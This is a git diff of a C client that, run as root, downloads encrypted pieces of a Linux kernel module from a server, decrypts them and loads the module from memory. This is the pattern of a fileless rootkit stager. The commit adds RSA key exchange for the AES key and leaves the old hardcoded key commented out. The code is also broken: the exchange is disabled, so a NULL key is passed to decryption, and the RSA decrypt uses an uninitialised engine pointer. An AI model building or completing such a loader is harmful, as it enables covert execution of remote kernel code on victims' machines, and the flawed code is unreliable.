Server-Client secure cryptographic key transmission via RSA

client/include/cipher.h

@@ -18,8 +18,10 @@ typedef struct{
   size_t text_size;
 } decrypted_t;
 
-decrypted_t *decrypt_fraction(fraction_t *fraction);
-char *generate_publickey(void);
+decrypted_t *decrypt_fraction(fraction_t *fraction,unsigned char *key);
+EVP_PKEY *generate_keypair(void);
+char *write_public_key(EVP_PKEY *pkey);
+char *write_private_key(EVP_PKEY *pkey);
 void decrypted_free(decrypted_t *decrypted);
-
+unsigned char *decrypt_msg(EVP_PKEY *pkey, unsigned char *in);
 #endif

client/include/load.h

@@ -12,5 +12,5 @@
 #include "../include/cipher.h"
 #include "../include/log.h"
 
-uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len);
+uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len, unsigned char *key);
 int load_lkm(const uint8_t *lkm, ssize_t total_size);

client/src/cipher.c

@@ -9,8 +9,9 @@ static void handle_errors(void) {
   abort();
 }
 
-static int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
-            unsigned char *iv, unsigned char *plaintext) {
+static int decrypt(unsigned char *ciphertext, int ciphertext_len,
+                   unsigned char *key, unsigned char *iv,
+                   unsigned char *plaintext) {
   EVP_CIPHER_CTX *ctx;
   int len;
   int plaintext_len;
@@ -34,14 +35,14 @@ static int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char
   return plaintext_len;
 }
 
-decrypted_t *decrypt_fraction(fraction_t *fraction) {
+decrypted_t *decrypt_fraction(fraction_t *fraction,unsigned char *key ) {
 
   size_t decrypted_size;
 
-  unsigned char key[32] = {0x6d, 0x46, 0x75, 0x32, 0x4c, 0x2f, 0x69, 0x34,
-                           0x78, 0x65, 0x76, 0x4a, 0x34, 0x4e, 0x33, 0x36,
-                           0x72, 0x44, 0x74, 0x35, 0x35, 0x5a, 0x4f, 0x34,
-                           0x35, 0x4b, 0x63, 0x72, 0x6e, 0x30, 0x75, 0x57};
+//    unsigned char key[32] = {0x6d, 0x46, 0x75, 0x32, 0x4c, 0x2f, 0x69, 0x34,
+//    0x78, 0x65, 0x76, 0x4a, 0x34, 0x4e, 0x33, 0x36,
+//    0x72, 0x44, 0x74, 0x35, 0x35, 0x5a, 0x4f, 0x34,
+//    0x35, 0x4b, 0x63, 0x72, 0x6e, 0x30, 0x75, 0x57};
 
   unsigned char *decrypted_text = malloc(fraction->data_size);
 
@@ -72,8 +73,7 @@ void decrypted_free(decrypted_t *decrypted) {
   free(decrypted);
 }
 
-char *generate_publickey(void) {
-
+EVP_PKEY *generate_keypair(void) {
   EVP_PKEY *pkey = NULL;
   EVP_PKEY_CTX *pctx = NULL;
 
@@ -99,9 +99,11 @@ char *generate_publickey(void) {
     return NULL;
   }
   EVP_PKEY_CTX_free(pctx);
+  return pkey;
+}
 
+char *write_public_key(EVP_PKEY *pkey) {
   BIO *bio = BIO_new(BIO_s_mem());
-
   if (PEM_write_bio_PUBKEY(bio, pkey) <= 0) {
     handle_errors();
     EVP_PKEY_free(pkey);
@@ -111,9 +113,59 @@ char *generate_publickey(void) {
 
   char *pem_key = NULL;
   long pem_len = BIO_get_mem_data(bio, &pem_key);
-  char *copy = malloc(pem_len);
+  char *copy = malloc(pem_len + 1);
   memcpy(copy, pem_key, pem_len);
-  BIO_free(bio);
+  copy[pem_len] = '\0';
 
+  BIO_free(bio);
   return copy;
 }
+
+unsigned char *decrypt_msg(EVP_PKEY *pkey, unsigned char *in) {
+
+  EVP_PKEY_CTX *ctx;
+  ENGINE *eng;
+  unsigned char *out;
+  size_t outlen, inlen;
+  EVP_PKEY *key;
+
+  inlen = strlen((char *) in);
+
+  ctx = EVP_PKEY_CTX_new(pkey, eng);
+  if (!ctx) {
+    handle_errors();
+    return NULL;
+  }
+  if (EVP_PKEY_decrypt_init(ctx) <= 0) {
+    handle_errors();
+    EVP_PKEY_CTX_free(ctx);
+    return NULL;
+  }
+
+  if (EVP_PKEY_CTX_set_rsa_padding(ctx, RSA_PKCS1_OAEP_PADDING) <= 0) {
+    handle_errors();
+    EVP_PKEY_CTX_free(ctx);
+    return NULL;
+  }
+  if (EVP_PKEY_decrypt(ctx, NULL, &outlen, in, inlen) <= 0) {
+    handle_errors();
+    EVP_PKEY_CTX_free(ctx);
+    return NULL;
+  }
+
+  out = OPENSSL_malloc(outlen);
+  if (!out) {
+    handle_errors();
+    EVP_PKEY_CTX_free(ctx);
+    return NULL;
+  }
+  if (EVP_PKEY_decrypt(ctx, out, &outlen, in, inlen) <= 0) {
+    handle_errors();
+    EVP_PKEY_CTX_free(ctx);
+    OPENSSL_free(out);
+    return NULL;
+  }
+
+  EVP_PKEY_CTX_free(ctx);
+  return out;
+}

client/src/fraction.c

@@ -26,7 +26,7 @@ int download_fraction(int sfd, char *url, fraction_t *fraction) {
   }
 
   *fraction = downloaded_fraction;
-  
+
 
   // Cleanup
   http_free(&res);
@@ -48,7 +48,7 @@ int fraction_parse(char *data, size_t size, fraction_t *fraction) {
   if (size < HEADER_SIZE) {
     log_error("Insufficient size: %lu", size);
     return 1;
-  
+
   }
 
     // Extract fields from data buffer with endianess handling

client/src/load.c

@@ -11,15 +11,15 @@
 #include <stdlib.h>
 #include <string.h>
 
-uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len) {
+uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len,unsigned char *key) {
 
   uint8_t *module = NULL;
   ssize_t total_size = 0;
   ssize_t module_size = 0;
   decrypted_t *decr;
 
   for (int i = 0; i < fractions_count; i++) {
-    decr = decrypt_fraction(&fractions[i]);
+    decr = decrypt_fraction(&fractions[i], key);
     if (decr == NULL) {
       log_error("Decryption process failed");
       return NULL;
@@ -68,8 +68,8 @@ int load_lkm(const uint8_t *lkm, ssize_t total_size) {
     close(fdlkm);
     return -1;
   } else if (written_bytes != total_size) {
-    log_error("Incomplete write to memfd (Expected %zu, wrote %zd)",
-              total_size, written_bytes);
+    log_error("Incomplete write to memfd (Expected %zu, wrote %zd)", total_size,
+              written_bytes);
     close(fdlkm);
     return -1;
   }

client/src/main.c

@@ -36,7 +36,10 @@ int main(void) {
   fraction_t *fractions = NULL;
   uint8_t *module = NULL;
   ssize_t module_size;
-
+  EVP_PKEY *pkey = NULL;
+  char *private_key = NULL;
+  char *public_key = NULL;
+  unsigned char *aes_key = NULL;
   if (geteuid() != 0) {
     log_error("This program needs to be run as root!");
     exit(1);
@@ -58,12 +61,36 @@ int main(void) {
   }
   freeaddrinfo(ainfo);
 
-  //if (http_post(sfd, "/aeskey", "text/plain", generate_publickey(),
-  //              &http_post_res) != HTTP_SUCCESS) {
-  //  log_error("Failed to send RSA Public Key\n");
-  //  goto cleanup;
-  //}
+  // if (http_post(sfd, "/aeskey", "text/plain", generate_publickey(),
+  //               &http_post_res) != HTTP_SUCCESS) {
+  //   log_error("Failed to send RSA Public Key\n");
+  //   goto cleanup;
+  // }
+
+  pkey = generate_keypair();
+  if (pkey == NULL) {
+    return EXIT_FAILURE;
+  }
+  public_key = write_public_key(pkey);
+  if (public_key == NULL) {
+    return EXIT_FAILURE;
+  }
+/*
+  if (http_post(sfd, "/publickey", "text/plain", public_key, &http_post_res) !=
+    HTTP_SUCCESS) {
+    log_error("Failed to send public key");
+    goto cleanup;
+  }
+*/
+// Wait for the server implmentation of the response
+
+/*  aes_key = decrypt_msg(pkey, (unsigned char *)http_post_res.data);
 
+  if (aes_key == NULL) {
+    log_error("Failed to decrypt data from server");
+    goto cleanup;
+  }
+*/
   if (http_get(sfd, "/", &http_fraction_res) != HTTP_SUCCESS) {
     log_error("Failed to retrieve fraction links");
     goto cleanup;
@@ -80,9 +107,7 @@ int main(void) {
     goto cleanup;
   }
 
-
-  int lines_read =
-      split_fraction_links(http_fraction_res.data, fraction_links, num_links);
+  int lines_read = split_fraction_links(http_fraction_res.data, fraction_links, num_links);
   if (lines_read < 0) {
     log_error("Failed to split fraction links");
     goto cleanup;
@@ -101,7 +126,7 @@ int main(void) {
       goto cleanup;
     }
   }
-  
+
   log_info("Downloaded fractions");
 
   qsort(fractions, lines_read, sizeof(fraction_t), compare_fractions);
@@ -110,7 +135,7 @@ int main(void) {
     print_fraction(fractions[i]);
   }
 
-  module = decrypt_lkm(fractions, num_links, &module_size);
+  module = decrypt_lkm(fractions, num_links, &module_size, aes_key);
   if (module == NULL) {
     log_error("There was an error creating the module");
     goto cleanup;
@@ -126,12 +151,15 @@ int main(void) {
   cleanup_string_array(fraction_links, num_links);
   cleanup_fraction_array(fractions, lines_read);
   free(module);
+  free(private_key);
+  free(public_key);
+  EVP_PKEY_free(pkey);
 
   close(sfd);
-  
+
   return EXIT_SUCCESS;
 
-/* There's nothing to see here, move on*/
+  /* There's nothing to see here, move on*/
 cleanup: // we accept NO comments on this. have a !nice day
   if (sfd != -1) {
     close(sfd);
@@ -149,6 +177,16 @@ int main(void) {
     http_free(&http_post_res);
   }
   free(module); // no need to check module != NULL as free(NULL) is defined by
-                // the C standard to do nothing
+  // the C standard to do nothing
+  if (private_key) {
+    free(private_key);
+  }
+  if (public_key) {
+    free(public_key);
+  }
+  if (pkey) {
+    EVP_PKEY_free(pkey);
+  }
+
   return EXIT_FAILURE;
 }